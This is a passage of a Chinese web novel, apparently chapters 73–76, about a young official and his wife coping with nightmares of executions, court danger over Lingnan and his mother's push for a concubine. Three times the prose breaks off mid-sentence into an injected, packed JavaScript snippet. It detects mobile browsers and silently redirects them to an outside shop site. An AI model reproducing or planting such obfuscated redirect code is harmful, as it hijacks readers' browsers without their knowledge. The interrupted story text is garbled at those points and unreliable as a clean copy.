进屋后,南有音先钻进被子里,连打好几个寒颤还没缓过来,徐寂宁拍拍她的肩膀,递了杯热水。 南有音端着水,想着自岭南回来之后,徐寂宁端茶倒水都不在话下了,好像比刚成亲是好用了。 她小口小口地啜饮,徐寂宁就站在一边等着,待她喝完了,收走杯子,而后才开始拾掇自己,上床睡觉。 南有音喝了一肚子热水,胃里热热的,鼻尖也冒了一层汗,倚在床头,盯着烛火有些出神。 “你想什么呢?”徐寂宁洗漱完,坐在床边问道。 南有音说道:“我在想今天夜里星星很少。” “可能明天会下雨吧。”徐寂宁期盼着下一场雨,雨水大概会冲走刑场上擦不掉的干涸血迹。 “睡吗?”徐寂宁温声问道,“要不要熄灯?” 南有音躺下,缩在被子里,徐寂宁也掀开被子躺了进去,而后吹灭蜡烛,霎时一片黑暗,一片寂静。 南有音打破了沉寂,问道:“怎么这么晚了,你还回来,我以为你会歇在衙署了。” 在黑夜中,看不清彼此时胆子会变大一点点,徐寂宁声音几乎轻不可闻地说道:“可能因为有些想见到你……” 近日他颇为忙碌,皇帝似乎是记住了他总是为岭南的囚犯求情,上一个监斩的近几日病了,便偏偏安排他顶上了,他虽不必亲自去刑场直面鲜血淋漓,但京城里即将人头落地的死囚名字要从他笔下走一遍,岭南死囚的名单也要递到他的手里。几日来他也不清楚手里经过了多少死人,日复一日的明晃晃铡刀、喷溅的血液、恐惧万分的哀嚎,让他几乎无法感受到自己的存在。 好像只有在南有音身边,远离朝堂势力纷争,远离人心勾心斗角,他才能有片刻喘息,片刻流露出真实。 但徐寂宁有点不安,问道:“我总是半夜回来,会不会打扰你睡觉了?” “不至于,”南有音半张脸埋在被子里,小声道,“其实我一个人也睡不好,最近我总做噩梦,梦到刑场……” 徐寂宁温和道:“既然我回来了,那你安心睡吧,你如果做噩梦,我会叫醒你的。” “嗯。”南有音轻轻应了一声,在被子里蜷缩成一团,虽然闭上了眼睛,但嘴上依旧说着些别的,她提起了她最近在写的新话本子,叫徐寂宁给她出点新的主意。 有时南有音的话本子写起来不是那么顺利,她想找个人与她讨论一番,却总找不到别人。 松梯只会夸她写得好,那双小鹿一样的眼睛,无论说什么都看起来无比真诚,夸得叫她自己不好意思起来,她也不好意思把稿子给宋知落看,她与宋知落关系好是好,但她不确定大户书香人家出来的姑娘爱不爱看世俗的话本子,两个小侄子与她亲近,但他们毕竟刚刚开始识字,她没打算让自己的话本子当他们的开蒙读物,弟弟南玉振是很爱看话本子,但他那张嘴除了松梯谁也不饶。 思来想去,似乎只有徐寂宁最合适,他读过很多话本子,分辨得好坏,难得的会支持她写,有时他还会帮她写几句文绉绉的诗词添进戏文里,每次读完,他也很温和地说些中肯意见。 南有音说了说她的剧情瓶颈,徐寂宁一一听了,说了点自己的想法,但说着说着,他发现听的人没声了。 “有音?”他轻轻唤了一声。 南有音已然陷入沉睡。 后半夜南有音又做起了噩梦,她梦见她在刑场,拥挤的人群将她推到了最前面,铡刀劈下,带着铁腥气的血液溅到了她的脸上,那具无头的尸体直直冲着她,被斩下的头颅骨碌碌滚到她的脚边,五官扭曲变化,起初是陌生人,后来是她认识的,那张有着朝阳一般笑意的脸庞扭曲变形,嘴里不断在质问“为何要杀了我”“怎么不救我”,她骇然后退,却发现刑场四周一片寂静,所有的人,都在注视着她。 她害怕极了,往人群外跑,但人山人海,她找不到方向,她急得要命,而在这时,听到远方有个熟悉的声音在喊她的名字——徐寂宁在呼唤她,声音很轻,带着他惯有的温和。 她闭上眼睛,往声音的方向狂奔…… “有音,有音,”徐寂宁睡眠向来很浅,他听到了枕边枕边人急促的呼吸声,伸手推了推她,“快醒醒!” 南有音醒来后喘息了一阵才慢慢平复,徐寂宁将床头的蜡烛点上,室内一点烛光,莹莹如豆,于是徐寂宁披着衣服起来,又点了两盏灯。 “我梦见刑场了,有一颗脑袋,”南有音蜷缩着,额头上沾着被冷汗打湿的头发,声音无比的沙哑,“他变成了……他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445833|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样,问我为什么不救他。” 徐寂宁端了一杯热水,南有音半坐起来,无声的啜饮,徐寂宁注视着她,抬手将她额前碎发拢到耳后,温声道:“只是一个梦罢了。” 额头上传来手指细腻地触感,小小的触碰似乎让人安心了一些。 南有音默默喝完了一杯水,把杯子递给徐寂宁,重新躺下了。 “别熄灯!”当徐寂宁也重新躺下,即将吹灭蜡烛时她急促道。 “好。”徐寂宁留着灯。 南有音侧身躺着,面朝徐寂宁,她也不说话,只是直勾勾盯着他。 “咳,有音。”徐寂宁被视线灼到,不得不也侧过身来,面对着南有音。 “我听说你负责监斩?”南有音轻声问道。 “嗯。”徐寂宁一直不想把这件事不想告诉南有音,似乎怕浓烈的血腥气隔着他沾染了她。 “皇帝为什么会这样安排,他明知道你曾经上书饶恕那些人!”南有音轻声嘟囔道。 “我不知道。”徐寂宁的回答很是疲倦,他琢磨不透皇帝在想些什么,他那本关于岭南赋税的折子一而再再而三的被搁置,他不清楚皇帝的私欲与百姓之间如何抉择。 南有音垂下眼睫,没再吭声,当徐寂宁以为她睡着了时,她才忽然问到:“你监斩,那有没有看到……他,他们。” 她的声音微不可闻,只因是寂寂夜色才略微清晰一点。 徐寂宁霎时就明白“他”指代的是谁——阮鸣鸥,“他们”或许是阮氏一家,也或许之岭南众多的亡魂。 “我没有看见。”徐寂宁嗓音涩地可怕。 “嗯。”南有音低低应了一声,蜷缩地更厉害了,几乎全身都在抖动。 “有音……”徐寂宁伸手摸了摸南有音的头发,而后向下移动,松松垮垮地揽住了她,“别怕,那只是一个噩梦。” 南有音向着那个温暖的胸膛挪动,将脑袋埋在徐寂宁的左胸,那颗心脏跳动之处。 “你也是。”她微微叹息。 “我没有害怕。” “是吗?你最近眼底一片乌青,总是睡不好吧。” 徐寂宁没应声,南有音不着痕迹地凑得更近,耳语一般轻声说道:“那只是一场噩梦,你也不要害怕。” 她听着徐寂宁的心跳变快,感受着缠绕自己的臂膀似乎更为有力。 “寂宁。”她喟叹一声,似哭似笑。 “睡吧。”徐寂宁将她一整个搂在怀里。 “可是我害怕,我总是梦到刑场,”南有音的声音又些呜咽,“我今晚看星星,找不到那颗飞鸥星。” “别怕,我陪着你呢,”徐寂宁柔声安抚,“只是明天要下雨罢了。” “明天……”南有音声音颤抖,“明天你会不会见到他……” “不会的,不会的……”徐寂宁喃喃安慰,他也害怕。 “有音,”他低声说道,“总有一天,我会辞了官职,到那时候,我和你就自由自在,无拘无束。” “你要先教会我骑马。”南有音低声道。 “我会送你一架马车,”徐寂宁微微笑了,“有暗格的那种,你记得把你的珍宝藏在里面。” “好。” 得了她的许诺,他将她搂的更紧,她也往他怀里靠拢,他们缠绕着彼此,慰藉着彼此充满惶恐的心灵,相拥着,听着彼此的心跳渐渐合一,终于在彼此身上求得平静,从而得以安眠片刻。 74. 风起 睡前喝太多水不是一件正确的选择,当南有音被噩梦惊醒,又在徐寂宁的安抚下睡着,而后又被膀胱地憋胀感唤醒了时,天仍然没亮。 “嗯?”怀里的人轻微动了一下,徐寂宁接着觉察到了,轻声问道,“有音?你醒了?” “嗯……”南有音欲言又止。 “怎么了?” 南有音有点别扭,小声道:“都怪你,光给我倒水喝。” 徐寂宁闻言,挑了挑床头的灯芯,让烛火烧地更亮。南有音披了件衣服下床,却望着黑峻峻的夜色打怵。 “你陪我。”南有音命令道。 “好。”徐寂宁也披了件衣服。 两人默默走到门口,南有音推门进去,徐寂宁也跟着进去了,两人面面相觑了片刻,徐寂宁又红着脸退了出去:“我在门口等你。” 他在门口候着,南有音又命令道:“你再走远点。” 他红着脸走了几步,南有音又说:“不准走太远,我一喊你,你就能听到才行。” 片刻后,南有音再度出来,跑得飞快,拽着徐寂宁三步做两步回到卧房,回到温暖明亮的屋子。 一阵窸窸窣窣声后,两人带着夜晚的寒气,重新躺在了被窝里。 “继续睡吧。”徐寂宁温声说道,“离天亮还有一段时间。” 南有音半个脑袋,埋在被子里,不太开心地哼唧。 “怎么啦?”徐寂宁侧过身,面对着南有音露在外面的半个脑袋。 “你好不容易回来休息一夜,结果光被我打搅了。”南有音有点懊恼,“你本来睡得就浅,这下该睡不着了。你要不把灯灭了,太亮了你大概也睡不着。” “无妨,”徐寂宁玩笑道,“万一一吹蜡烛,黑暗里的那些妖魔鬼怪又冒出来吓唬你呢?” “我不怕,”南有音的声音从被子底下传来,听起来闷闷的,“熄了灯吧,你好歹睡会儿。” 在南有音的一再坚持下,徐寂宁熄灭了床头的烛火,屋内骤然陷入了黑暗,他感受到一旁的南有音将自己蜷缩地更厉害了,想必是在幻想黑暗中的鬼怪了,或者噩梦中的场景。 “有音,你怎么知道我睡得浅的?”徐寂宁轻声发问,帮南有音换换脑子里的内容,别再想些吓人的。 不过他也确实好奇,他发现南有音是一个睡眠很好的姑娘,通常一沾枕头就到天亮,不知是怎么知道的他睡觉浅。 南有音回答道:“太太跟我说的,她过去常问我最近你睡得好不好,你有没有发现,咱们屋里的熏香是太太特意找人调的,据说有安眠的作用,你不在我一般是不点的,不然昏昏沉沉的犯困,什么也做不了。” 忽然知晓母亲在细微处的关心,徐寂宁心底到生出几丝浅浅的愧疚,近来他很少去母亲的院子里,一是因为官职在身,实在忙碌,二则是因为母亲总是搬出孩子这个话题,使他不堪其扰。 想到这儿,他问道:“有音,太太最近还总是提小孩的事吗?有没有为难你?” “唔,提就提吧,反正我听惯了。前天小甲的生日,我妈带着玉振来了一趟,我本以为太太与我妈一见面,两人又要一拍即合异口同声的提孩子的事,但很怪,她们两个都没提。”南有音觉得奇怪,“当时我只顾着玉振和松梯之间的事了,事后才发现太太跟母亲的反常,莫非她们两个想通了?” 徐寂宁有些紧张:“那天松梯跟玉振没什么被太太发现的吧?” “我不知道,后面我被小甲缠住了,没法分神,”南有音说道,“不过这几天也都风平浪静,大概没发生什么吧。” “但愿如此。”依徐寂宁对母亲的了解,松梯玉振之事一旦被她察觉,必然不会善罢甘休。 想到小甲,南有音无端的有点惆怅:“在成亲前,我还想过将来生几个小孩之类的,现在……” 她倦倦道:“算了,不跟你说话了,越说要越精神了,睡吧。” 两人仍在一张床上,仍盖着一床被子,彼此的距离也不算远,但刚刚起夜回来时,似乎将夜晚的寒霜也带了进来,冲破了此前相拥而眠的温度,使得二人之间多了些不清不楚的沟壑,肢体触碰时总生出几分不自在。 南有音翻了个身,背朝徐寂宁,轻轻叹息一声。 再度醒来时,天色仍旧暗沉,屋里的烛灯重新点着了,屋外是簌簌雨声,屋内是衣料摩擦的窸窸窣窣声与压得很低,几乎要被埋在雨中的说话声。 南有音眼睛睁开一条缝,注视灯火中人影憧憧的卧房。 徐寂宁上早朝的时辰到了,松梯与另一个小丫鬟正服侍他换上朝服,基本已经穿戴妥当了,只差一顶冠帽。 “昨夜有音睡得不好,”徐寂宁低声对正在替他系系带的松梯说道,“今早叫厨房那边晚一点送饭吧。” “是。”松梯垂着眼帘,细声细气地答应了。 松梯在徐府多年,徐寂宁与她相当熟识,这份熟悉使得他察觉到她垂着眼帘时,仿佛带着隐隐悒怏与疲惫。 “你怎么了?”他轻声问。 松梯望了他一眼,摇摇头,他抬手,打发走了另一个小丫鬟,试探着问道:“该不会是因为玉振的事?” 似乎是被说中了心事,松梯低头不语,半张脸藏在烛火照不到的阴影里。 片刻后,她推了推徐寂宁,说道:“时候不早了,你快些去吧。” 而后是一阵放得很轻的脚步声,徐寂宁熄了烛火,松梯轻轻启开屋门,出门时徐寂宁顿了顿脚步,回头看了看床上的南有音。 门又缓缓地合上了,窗外仍是一片漆黑,南有音算了算时间,大概寅时左右,她打了个哈欠,听着屋外的雨声,又困倦起来。 她向来是不必操心徐寂宁早朝的事,往往是天不亮徐寂宁就起来,偶尔她也被吵醒了,徐寂宁就会叫她继续睡,她往往也就继续昏睡,等她醒来吃饭时,徐寂宁也就穿着朝服回来了。她见过很多次徐寂宁下朝,今日倒是她头一次看到徐寂宁上朝离开。 南有音眼皮越发沉重,她想着松梯她们不知道要起多早,大概徐寂宁还没起,松梯就得先起来安排院里的人准备。 南有音念着松梯辛苦,却又想到了徐寂宁临出门时问松梯的话,松梯这两日好像是有点默不作声。 南有音琢磨着琢磨着,又睡了过去。 再次睁开眼,天色灰蒙蒙的,淅淅沥沥的雨声不止,她穿好衣服下床,打开窗子,湿漉漉地水汽夹杂着寒风扑面而来,冻得她打了个哆嗦,她又关上窗子,然后叫松梯进来给她盘发。 松梯的手很巧,总能将南有音一头乌黑秀发的美感发挥到极致。 梳子划过头发,轻微的摩擦声没入雨声,南有音透过镜子,小心查看松梯的神情,在镜子里与松梯眼神撞上时,不知道是因为雨天还是其他缘故,她发觉松梯圆眼睛确实有些黯淡,她冲松梯笑了一下,问道:“松梯,有心事?” 松梯没应声。 南有音便又问:“是你和玉振之间?” 松梯咬了咬嘴唇,似乎有些惶恐:“还请少奶奶不要再问了……” “好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445834|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南有音没再问,她想也是,没有那个姑娘愿意自己心里那些事被反复盘问,徐寂宁问过了她也问了,搞得好像要逼松梯说出些什么来似得。 梳完头发,松梯便要出传饭,南有音拉住她的手,拉住她,而后松松地环抱她的腰肢,轻轻的但也甜甜地唤了一声:“松梯姐姐。” 松梯疲惫的脸上总算复现了一点笑意,也搂住了南有音。她听到南有音的声音从她的心口处传来:“松梯姐姐,我会站在你身边的。” “我知道。”松梯喃喃。 她放开南有音,叫厨房那边送早餐,等到几个小丫鬟将粥与几碟小菜摆好时,徐寂宁下朝回来了,他跨过雨幕,眉梢带带着雨滴。 “你怎么回来了?”南有音问道。 “雨大,今天不用监斩了。”徐寂宁脸色不太好,看上去些许苍白。 “怎么了?朝中出什么事了吗?” “中书门下的林大人上书提到刑场斩决不断,杀伐过重,表示现已入冬,理应休养生息,请皇帝止杀。” “那皇上怎么说?” “皇上不准,林大人便说这些天处置的人,许多无辜受累的,没必要一并株连,”徐寂宁继续说道,“皇上没说话,既没答应也没拒绝,想叫林大人难堪一阵,我……” “你怎么?”南有音接话,“于是你借机站出来,同林大人一起,为岭南诸人陈情?” “是,皇上脸上看不出喜怒,但我能感觉到他不太高兴,他说他过去说过,再为永安王一事求情者格杀勿论,”提起这段,徐寂宁脸色发白,声音打颤,连带着南有音手上筷子夹的一小块咸菜也掉到了桌上,“而后他又说,林大人与我都是他的肱骨,这次便饶了我们,又说今日雨大,兴许是老天悲悯,是想洗净刑场,便等明日雨停了再继续……” 徐寂宁心有余悸,南有音也食不下咽,只轻声道:“好在最后你回来了。” “嗯。”徐寂宁点点头,只是注视着南有音。 “你也吃呀。”南有音把几碟小菜推到了徐寂宁眼前。 “有音。”徐寂宁欲言又止。 “怎么了?” “今日朝堂不止刚刚那些,还有……” 南有音抬起头,认真看着徐寂宁发白的面孔:“怎么了?” “林大人提到岭南的犯人之后,又有人提到了岭南今日不怎么太平,民怨深积,他说那些人是永安王余孽,我不认同……” 南有音问道:“所以你又启奏请求赋税改制?” “嗯,”徐寂宁垂眸道,“你我去过岭南,知道百姓爱戴永安王不过是因为他爱民如子,也知道百姓痛恨朝堂是因为赋税苛杂繁冗,我便再次同皇上陈词,我知道皇上不爱听这话,父亲也警告过我不要多事,但我……还是说了。” 南有音大概是唯一一个不会劝阻他的人,她说:“总有人要为岭南百姓说两句的。” 徐寂宁有些忧虑:“但我说完之后,皇帝什么话也没说,直接散朝了。” “呃……这是什么意思?”南有音并不太懂。 徐寂宁摇摇头:“当今圣上的想法没人能猜的出来,但大概不会是什么好事。” “只要你没有后悔就好。”南有音温和道,“你说过的,为官做宰修身为民。” “我自是不会后悔,岭南赋税之事,就算今天不说,日后我也肯定重提,”徐寂宁注视着南有音,“我只担心你会因我而受累。” 徐寂宁眼睫颤了颤,缓缓垂下:“有音,我不想你再经受岭南之行的苦了。” 75. 雨落 用完早饭,察觉到阴雨天里大家似乎心情低落的厉害,南有音换了个话题,不再谈朝堂的政事,转而说起了她的话本子。 她又写好了一本,这次是一个破镜重圆的故事,讲得两个狐狸妖怪,一男一女,互相误会,以为彼此是人类,人与妖在一起违反天道,人会被妖吞噬,因为身份不当,两人分离,直到百年之后,人海中重逢,知晓两方原来都是妖,感叹阴差阳错,感叹命运弄人,感叹怎么不早知如此,又感叹命运不算太过薄情,感叹还好彼此是妖,寿命够长,两狐还能再相遇。 徐寂宁难得有空,认认真真翻了一遍,被这个阴差阳错的温馨故事勾得嘴角带着淡淡笑意,对南有音说道:“等雨停了,我带你去书铺一趟。” 说完,他摊开纸笔,认认真真誊抄起来,此前他往书铺送的稿子也都是他誊抄的,南有音的原稿他都整理好,码放的整整齐齐,摆在他花大价钱找人打造的一只木匣子里。 南有音侧身坐在桌边,低头看徐寂宁的手,白皙干净的手指下,墨迹绵延。 “也不知道之前送去的话本子买的怎样。”她嘟囔道。 徐寂宁前后送去了两本话本稿子,第一本时只给了几两银子,第二本时,书铺掌柜说上次那本买的好,这本便分成,之后徐寂宁忙于官职,再没空去过。 “说起来,有音,”徐寂宁手下没停,说道,“上次你的稿子没署名,你要不要想个笔名之类的?” “叫什么呢?”南有音思索。 徐寂宁轻轻笑了,也问道:“叫什么呢?” 南有音想了很多,最后说道:“我之前没有被父母收养的时候,我有个名字,也不知道是哪两个字,读音也是方言,听起来像是——” 南有音清了清嗓子,用她年幼时的家乡话,用含混而质朴的语调,舌头好像捋着了一样,念道:“西生。” 南有音想了想,说道:“不如就休息的息,声音的声,息声,你觉得怎样?” “挺好的。”徐寂宁找到写着标题的第一页,提笔将两个字署上了。 “我也觉得挺好,你看,你叫寂宁,我偏偏叫有音,你的字是音极,我的笔名是息声,刚好反着。”南有音颇有些得意。 徐寂宁下意识反问:“为什么要正好相反?” “针锋相对吧。”南有音随口道。 说完她发现徐寂宁没应声,只埋头抄写。 “喂,”南有音敲了敲桌子,“你该不会希望我取个跟你互相唱和的名字吧?” “我没有。”徐寂宁有点心虚。 “好吧。”南有音坐在桌边,望着窗户,嘴里哼起了不着边际的小调,她说那是她小时候家乡流传的小曲儿。 屋外的雨渐渐停了,只剩下屋檐上还挂着一串雨珠,间或滴下一两滴。 还差一点誊抄完时,太太那边遣人来找徐寂宁过去,徐寂宁不明所以,提心吊胆的去了,他见母亲一向打怵。 南有音则接过徐寂宁的笔,笔杆上还残留着些许温度,继续埋头抄写。 等她抄完了最后一个字,徐寂宁还没有回来,等到了午饭的点,徐寂宁也没回来,太太遣了一个小厮说徐寂宁中午不回院里吃了。 南有音认得那个小厮,因为模样周正性格稳重,一直跟着在徐老爷身边做事,名字叫云阶。 她把云阶叫到跟前,问他太太找徐寂宁做什么。 云阶却说起徐老爷找小少爷说事。南有音估摸徐老爷是说朝堂的事,便打发云阶走了,云阶走时恰好碰上了来问南有音什么时候吃饭的松梯,两人碰上,云阶笑盈盈地迎了上去。 在雨后初出现的阳光下,站在檐下,云阶的笑容还有一点迷人。松梯与云阶话了几句家常,一直将他送到院门口,她与云阶是同一年进的徐府,前些年她在太太身边伺候,云阶跟着老爷,两人面见的多,相较而言还算熟识。 南有音吃了午饭,一道菜太可口,多吃了几口,饱得昏昏欲睡,歪在床上,想安稳地睡会儿,但徐寂宁偏偏在她马上入睡时回来了。 她不想搭理他,他却径直走到床边坐下了,于是她睁开一只眼,发现他瞅着自己,似乎欲言又止。 南有音在一片困倦中问道:“是老爷找你说政事吧?他训了你一顿?” 徐寂宁摇头,神色依旧古怪:“老爷虽然说我莽勇,但也说不了我的对错。” “那你怎么了?”南有音又闭上了眼睛,她倦得厉害,鼻音很重,沙哑道,“你要说什么?” “是太太。”徐寂宁说完这三个字,张口又闭口,好像喉咙不会出声一样。 “太太怎么了?”南有音含糊问到,离彻底坠入梦香只差一步之遥。 “她——”徐寂宁晃了晃南有音的肩膀,“你别睡着。 ” 南有音懒懒地睁开眼:“那你快说。” 她睁眼了,徐寂宁偏偏又忸怩起来,活像做了什么对不起她的事一样,她被徐寂宁在这个模样逗得一乐。 “到底怎么啦?”她抬手,戳了戳徐寂宁的肚子,忍不住笑。 “太太她……”徐寂宁挪开南有音那只不老实的手,神色很怪异,“她问我要不要纳妾……” 南有音笑容有点挂不住了,眼睛里露出了一片迷茫。短短一瞬,她的脑海中涌入了无数声音,她想起母亲劝她快点生个小孩,警告她正妻膝下无出,妾室填房,她又想起三姐徐静祺竹箱子里遗留的笔记,里面提到了一夫一妻,不容他人…… 大量的念头涌进脑海的同时,南有音心中也空跳了一拍,她也说不准这种带着些恐慌的失落从何而来,她此前从没想过徐寂宁可能纳妾这个问题,甚至听到的一瞬感到了匪夷所思的荒谬。 “我没答应。”徐寂宁立刻说道,“你放心,我不会答应的。” 南有音看上去呆呆地,一双眼睛也木木愣愣。 “我真的不会,”南有音没说什么,徐寂宁自己却急了,忙道,“我和太太吵了一架,她……后来老爷来了,她也就不提了。” “哦。”南有音淡淡应了一声,垂下眼帘。 她罕见地冷漠叫徐寂宁感到不安,他轻轻唤了一声:“有音。” “嗯。”南有音闷闷应了。 徐寂宁急切道:“你放心,我不会纳妾,我身边除了你,不会再有其他人。” 他不适应太过直白热切的语言从他嘴里吐出,白净的脸又红了,但他见南有音依蔫蔫的,便继续温和道:“这件事我想好了,太太再怎么说我也不会变,倘若之后太太找你,你告诉我,我去跟她说。” “嗯。” 不管徐寂宁怎么说,南有音只不冷不淡地应一声,声音细细的,听不出高兴还是不高兴。 “有音……”徐寂宁又唤了一声,不太自在,总像是做错事了一样。 南有音叹了口气,问道:“太太的念头一旦起来,谁能打消,你能跟她说些什么啊?” “我……”徐寂宁一哑,脸红得更厉害了,小声嘀咕道,“那我找大哥二哥想办法,叫太太相信我不举好了……” 南有音被逗得微微一笑,见她笑了,徐寂宁稍稍放心了一点,但这一丝笑意转瞬即逝。 “徐寂宁,”南有音低声问道,“你说我应该怎么想?关于太太想叫你纳妾的事。” 徐寂宁愣了一下:“你该怎么想?” “对呀,我该怎么想,”南有音喃喃道,“我应该心有芥蒂吗?因为作为妻子不太愿意看见纳妾这件事吧。或许我应该没什么想法,朋友之间,这种事也无所谓的吧……” 她也说不清,觉得复杂别扭,她与徐寂宁对视一眼,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445835|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双双错开视线。 “算了,”南有音转身朝里躺着,黯声道,“我睡一会儿,过会儿叫醒我,一块去书铺。” 其实她的睡意早没了,她只是想自己静静。她听到徐寂宁起身,坐到书桌旁翻书,她不知道他在翻案上那些关于赋税的策论,还是在翻她堆积案上的话本。 南有音侧躺着,心乱如麻,不安地猜想徐太太如何毫无征兆的冒出纳妾的念头,但想了一阵,她又觉得自己在这儿琢磨除了徒耗心神别无他用,索性放空脑子,闭目养神。 过了一阵子,徐寂宁拍拍她的肩膀,叫她起来一块出门。 书铺在京城一处很繁华的街道,南有音撩开马车帘子的一角往外看去,下过雨的道路上积着水洼,行人不多,她新奇地注视着雨后的市街。 马车最终停在一家点心铺与首饰铺之间的书坊。两人一进书坊,掌柜的眼睛扫视一圈,停在徐寂宁身上,而后眼神一亮,快步迎了上来。 “您可算来了,您上次带来的话本稿子大受欢迎,已经反复印了好几版了,”掌柜立刻将徐寂宁带到账房,找出一沓账本,“这是利润分成,您瞧瞧。” 徐寂宁转手将账本递给了南有音,掌柜的便捧着笑问徐寂宁:“徐公子,这位是?” 南有音下意识竖起耳朵,想听听徐寂宁怎么答。 “我夫人。”徐寂宁脸有点红,还悄悄瞥了南有音一眼,南有音好像没什么反应。他也确实没法说别的,虽说他们约好是朋友,但孤男寡女的,任谁也不会信,还是说是夫妻最少事。 掌柜便说了几句郎才女貌的话恭维。 南有音粗略翻了翻账本,压不住嘴角笑意,倒也不是什么别的缘故,只是这笔收入太过可观。 掌柜又问徐寂宁这次可有带新稿子来,徐寂宁指了指南有音,脸上带着几分骄傲似得:“那你得问问我夫人。” 南有音从账本上转过头来,碰巧瞧见了书铺掌柜一脸惊讶。 她笑嘻嘻地从怀里掏出新稿子,然后对掌柜说道:“我跟他是女才郎貌。” 掌柜的接了稿子,立刻转头恭维起南有音,夸得南有音飘飘欲仙,南有音便也大方夸赞掌柜有眼光,小书铺装置典雅,品味不俗,两人你一言我一语,互相吹捧起来。 末了还是徐寂宁轻咳一声,拉回正题,叫掌柜的再印时,署上南有音新起的笔名,又与掌柜谈起报酬分成,画押结契。 离开书铺,南有音发热的头脑渐渐冷了下来,她问道:“写话本子这事,太太不会知道吧?” “不会,”徐寂宁说道,“我去书铺用的化名,掌柜的也有分寸,从不多问。” “那就好。”南有音在马车上,又撩开帘子往外看,总想在街上走走,便对徐寂宁说道,“要不咱们下去走走?” 徐寂宁答应了,便叫车夫先回去了。 南有音很少有机会出门,终于能在京城最繁荣的街道上逛一逛,自然很开心,尤其是手里有了自己得来的银两,忍不住买了些杂七杂八的东西。 街还没逛够,天却又飘起了雨点,徐寂宁就近买了把伞,两人撑着伞,往徐府回。 雨下的不算大,雨点沿着伞沿一缕一缕的流下,街上弥漫着潮湿的水汽,一片灰蒙蒙中,南有音忽然笑了。 笑声在阴湿的雨气里格外清脆。 “你笑什么?”徐寂宁问。 “我笑我们过去总是淋雨,末山也是,徽州也是,这还是头一次有了一把伞。” 徐寂宁低头去看南有音,她也望着他,那双大眼睛在灰暗的雨天中也熠熠生辉,隐隐倒映着他的身影。 徐寂宁觉得只有在京城,借着家业与身份,他才勉强有机会,能为南有音撑伞,但他更希望无论何时何地,哪怕抛却一切名利头衔,他都能为她撑伞,一蔽风雨。 76. 低云 雨一直下,持续了一整夜,雨点敲在屋顶,一夜安宁的梦。 翌日一早,徐寂宁又冒雨上朝,也没回来吃早饭,南有音隐隐不安,不知今日大雨如泼,刑场是否也血流成河。 雨天沉闷,南有音一个人呆着无聊,想跟松梯玩儿,却发现松梯被太太叫走了,便跟其他丫鬟婆子闲聊,她在院子里宽和活泼,众人都不怕她,拉着她也一块聊。 丫鬟们正在谈论婚配出府的事,似乎是一个在徐府多年消息灵通的婆子从太太院子那里得来消息,太太这两天在琢磨着放那些年纪大的丫鬟出府或者婚配。 南有音很感兴趣地听着丫鬟们讨论,有年纪到了的就担心不知会被指给府里的哪个小厮,众人讨论了一阵府里在婚配年纪的小厮,一个年长的丫鬟先叹了口气,众人问她叹什么气,她说只是想到自己一辈子是个丫鬟,只能跟小厮配,生得孩子也都是奴才,总觉得有些不甘心似的。 她话一说完,一众丫鬟婆子先是笑了,接着纷纷叹气,年老的婆子都劝她消了这种念头,叹道没有小姐的命就安心当丫鬟吧,几个年轻倒是不太服气,有个说话向来直来直去的快嘴小丫鬟说道:“也不是没有办法,若是你能当上个姨娘之类的,便算得上半个主子了,日后孩子就是正经主子——” 她还没说完,旁边人就直拿肘子捅她,她不明所以,周围人都冲着她使眼色:少奶奶也在听着呢。 她骤然噤声,有点发怯,小心打量少奶奶的神色。 南有音不知道该说什么好,她倒不是被小丫鬟的话气到了,她只是想起三姐姐徐静祺的笔记,徐静祺说人是平等的,没有人生来就低人一等,她虽认同,可丫鬟婆子的话,她也无力反驳,她不知道该怎么改变,她可以宽和地允许她们与她平起平坐,也可以给予她们尊重与爱护,但她没法给她们同她一样的身份,无法赐予他们真正的自由与平等。 她只好冲着一众有些凝涩的丫鬟婆子露出一个悲悯的苦笑,安抚她们,自己没有生气。 “会有那么一天的,”她说道,“到那个时候就没有什么小姐丫鬟的区分。” 有些年长的丫鬟神情闪烁了一下,轻声说过去三小姐也这样说过。 大家说着说着,最后屋内也像是屋外阴郁的天空一样,沉沉的,吸满了水。 南有音发现气氛不对,讲了几个笑话,扫走了众人眉梢的些许愁容,大家重新嘻嘻哈哈起来。 她隔着窗子看到松梯撑着伞回来了,她想叫松梯也来热闹起哄,却发现伞底的人失魂落魄,脸上分不清是雨水还是泪水。 她悄悄起身,在屋檐下,抬手接过松梯的伞收了,拉着丢了魂一样的松梯进屋,找出手帕为她擦脸。松梯便木愣愣地随她收拾,若往日,松梯绝不会让她这位少奶奶插手。 屋外的雨不停息,屋内的雨挂着松梯的睫毛上,晶莹剔透一串,间或从眼眶中滚落。 